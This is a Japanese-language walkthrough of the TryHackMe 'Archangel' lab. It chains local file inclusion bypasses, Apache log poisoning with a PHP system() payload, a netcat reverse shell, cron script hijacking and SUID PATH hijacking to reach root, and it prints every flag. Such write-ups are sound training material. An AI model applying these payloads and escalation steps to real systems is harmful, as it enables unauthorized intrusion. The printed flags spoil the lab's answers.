概要
TryHackMe「Archangel」のWalkthroughです。
Task2
Q1.Find a different hostname
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.238.190 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
| 256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_ 256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open http Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
|_http-server-header: Apache/2.4.29 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
80 | http | Apache/2.4.29 |
Webページにアクセスしメールからmafialive.thm
のホスト名を発見しました。
A.mafialive.thm
Q2.Find flag 1
ホスト名が分かったので/etc/hosts
ファイルに追記します。
10.10.238.190 mafialive.thm
ドメイン名で再度アクセスするとフラグが表示されました。
A.thm{f0und_th3_r1ght_h0st_n4m3}
Q3.Look for a page under development
Hint.FUZZ!!
ディレクトリの列挙を行います。
$ dirsearch -u http://mafialive.thm/
[05:53:03] 200 - 34B - /robots.txt
[05:53:15] 200 - 221B - /test.php
/robots.txt
からも/test.php
の情報を得られました。
User-agent: *
Disallow: /test.php
A.test.php
Q4.Find flag 2
Hint.Best way to exploit lfi is to look at the code
/test.php
にアクセスします。
ボタンをクリックするとクエリパラメータでファイルを読み込んでいるので、LFIの脆弱性の可能性があります。
/test.php?view=/var/www/html/development_testing/mrrobot.php
LFIのパラメータを入れましたが、失敗しました。
フィルタリングされている可能性があります。
ヒントから/var/www/html/development_testing/test.php
のソースコードを見る必要があります。
Hacktricks
でphp://filter
とbase64
を利用してフィルターをバイパスする手法を見つけました。
パラメータに入れると/var/www/html/development_testing/test.php
を、base64
でエンコードしたものを得られました。
/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
コードの中にフラグを発見しました。
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{explo1t1ng_lf1}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>
A.thm{explo1t1ng_lf1}
Q5.Get a shell and find the user flag
Hint.Poison!!!
コードを見るとLFIの条件がわかりました。
-
LFIの条件
-
../..
がパラメータに使われていないこと -
/var/www/html/development_testing/
がパラメータに使用されていること
再度Hacktricks
を見ると..//..//..//etc/passwd
のような場合でもLFIが出来るようです。
パラメータをセットし/etc/passwd
を参照できました。
/test.php?view=/var/www/html/development_testing/..//..//..//..//..//etc/passwd
archangel
アカウントを発見しました。
.ssh/
は参照できなかったので、リバースシェルを試みます。
/var/log/apache2/access.log
を参照できました。
User-Agent
に<?php system($_GET['c']); ?>
を設定し、クエリパラメータでRCEに成功しました。
リバースシェルのペイロードを作成します。
ペイロードをURLエンコードしリクエストを送信します。
www-data
のシェルを取得できました。
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.17.103] 37252
www-data@ubuntu:/var/www/html/development_testing$ whoami
whoami
www-data
/home/archangel/user.txt
からフラグを入手できます。
thm{lf1_t0_rc3_1s_tr1cky}
A.thm{lf1_t0_rc3_1s_tr1cky}
Task3
Q1.Get User 2 flag
archangel
アカウントへの昇格を目指します。
/etc/crontab
でクロンジョブを確認すると/opt/helloworld.sh
を発見しました。
*/1 * * * * archangel /opt/helloworld.sh
/opt/helloworld.sh
は編集権限があることを確認できました。
$ ls -la
ls -la
total 16
drwxrwxrwx 3 root root 4096 Nov 20 2020 .
drwxr-xr-x 22 root root 4096 Nov 16 2020 ..
drwxrwx--- 2 archangel archangel 4096 Nov 20 2020 backupfiles
-rwxrwxrwx 1 archangel archangel 66 Nov 20 2020 helloworld.sh
/opt/helloworld.sh
の処理内容を確認するとhello world
という文字を/opt/backupfiles/helloworld.txt
に出力しています。
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
/home/archangel/secret
に権限を追加する処理を/opt/helloworld.sh
に追記します。
$ echo "chmod 777 /home/archangel/secret" >> /opt/helloworld.sh
/home/archangel/secret/user2.txt
からフラグを入手できます。
$ cat /home/archangel/secret/user2.txt
cat /home/archangel/secret/user2.txt
thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
A.thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
Q2.Root the machine and find the root flag
Hint.certain paths are dangerous
SSH接続するために/home/archangel/.ssh
を作成し、KaliのSSH公開鍵を/home/archangel/.ssh/authorized_keys
に登録します。
$ echo "mkdir /home/archangel/.ssh" >> helloworld.sh
$ echo <kali pub key>" > /home/archangel/.ssh/authorized_keys
$ echo "chmod 700 /home/archangel/.ssh" >> helloworld.sh
archangel
でSSH接続に成功しました。
$ ssh archangel@mafialive.thm
archangel@ubuntu:~$
SUIDを検索すると/home/archangel/secret/backup
がヒットしました。
$ find / -user root -perm -4000 2>/dev/null
/home/archangel/secret/backup
/home/archangel/secret/backup
の処理を確認すると/home/user/archangel/myfiles/
配下を/opt/backupfiles
にコピーしていると分かりました。
$ strings /home/archangel/secret/backup
cp /home/user/archangel/myfiles/* /opt/backupfiles
cp
コマンドを偽造します。
$ cd /tmp
$ echo "/bin/bash" > cp
$ chmod 777 cp
$ export PATH=/tmp:$PATH
/home/archangel/secret/backup
を実行しroot権限を取得できました。
$ /home/archangel/secret/backup
root@ubuntu:/tmp# whoami
root
rootフラグファイルを検索します。
# find / -name *root.txt* 2>/dev/null
/root/root.txt
/root/root.txt
からフラグを入手できます。
thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}
A.thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}